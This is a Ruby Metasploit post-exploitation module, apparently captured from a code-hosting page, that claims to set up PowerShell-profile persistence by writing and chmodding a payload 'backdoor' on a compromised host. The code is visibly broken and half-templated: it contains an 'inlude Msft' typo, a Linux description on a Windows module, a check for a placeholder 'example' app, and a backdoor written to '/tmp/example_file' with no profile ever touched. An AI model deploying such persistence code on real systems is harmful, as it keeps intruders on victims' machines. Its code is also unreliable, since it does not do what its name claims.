102 lines
4.0 KiB
Ruby
102 lines
4.0 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html
|
|
|
|
# includes writable?, upload_file, upload_and_chmodx, exploit_data
|
|
include Msf::Post::File
|
|
# includes pwsh
|
|
inlude Msft::Exploit::Powershell
|
|
# includes generate_payload_exe
|
|
include Msf::Exploit::EXE
|
|
# defines install_persistence and does our cleanup
|
|
# WritableDir
|
|
include Msf::Exploit::Local::Persistence
|
|
# runs check automatically
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Powershell Profile Persistence',
|
|
'Description' => %q{
|
|
This exploit sample shows how a persistence module could be written
|
|
for a linux computer.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'madefourit',
|
|
'researcher'
|
|
],
|
|
'Platform' => [ 'win' ],
|
|
'Arch' => [ ARCH_CMD ],
|
|
'SessionTypes' => [ 'meterpreter' ],
|
|
'Targets' => [[ 'Auto', {} ]],
|
|
'References' => [
|
|
['ATT&CK', Mitre::Attack::Technique::T1546_013_POWERSHELL_PROFILE],
|
|
[ 'URL', 'https://pentestlab.blog/2019/11/05/persistence-powershell-profile/'],
|
|
],
|
|
'DisclosureDate' => '2019-11-05',
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
|
|
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
|
|
}
|
|
)
|
|
)
|
|
# force exploit is used to bypass the check command results
|
|
register_advanced_options [
|
|
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
|
|
OptEnum.new('PROFILE', [true, 'The powershell profile to target.', 'AUTO', ['AUTO', 'ALLUSERSALLHOSTS', 'ALLUSERSCURRENTHOST', 'CURRENTUSERALLHOSTS', 'CURRENTUSERCURRENTHOST']
|
|
])
|
|
]
|
|
end
|
|
|
|
def check
|
|
# Check a example app is installed
|
|
print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if writable_dir.start_with?('/tmp')
|
|
return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)
|
|
return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir)
|
|
return CheckCode::Safe('example app is required') unless command_exists?('example')
|
|
|
|
CheckCode::Detected('example app is installed')
|
|
end
|
|
|
|
#
|
|
# The install_persistence method installs the persistence, starts the handler, and does all
|
|
# the main activities
|
|
#
|
|
def install_persistence
|
|
file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)
|
|
backdoor = "#{path}/#{file_name}"
|
|
vprint_status("Writing backdoor to #{backdoor}")
|
|
# if an arch_cmd payload is selected, write and chmod the file
|
|
# if an exe payload is selected, write it as an executable file
|
|
if payload.arch.first == 'cmd'
|
|
write_file(backdoor, payload.encoded)
|
|
chmod(backdoor, 0o755)
|
|
else
|
|
upload_and_chmodx backdoor, generate_payload_exe
|
|
end
|
|
# add removing the file to the cleanup script. The script starts as nil, so we want to overwrite it to a string
|
|
@clean_up_rc = "rm #{backdoor}\n"
|
|
|
|
# back up an example file that we're going to write into so we can restore it
|
|
# in our cleanup efforts
|
|
example_file = read_file('/tmp/example_file')
|
|
backup_file = store_loot('example.file', 'text/plain', session, example_file, 'example_file', '/tmp/example_file backup')
|
|
print_status("Created /tmp/example_file backup: #{backup_file}")
|
|
# @clean_up_rc is our instance variable string that tracks what needs to be done to remove the persistence by the user.
|
|
@clean_up_rc << "upload #{backup_file} /tmp/example_file\n"
|
|
write_file('/tmp/example_file', backdoor)
|
|
|
|
# the cleanup script will automatically be printed when the module is finished
|
|
end
|
|
end
|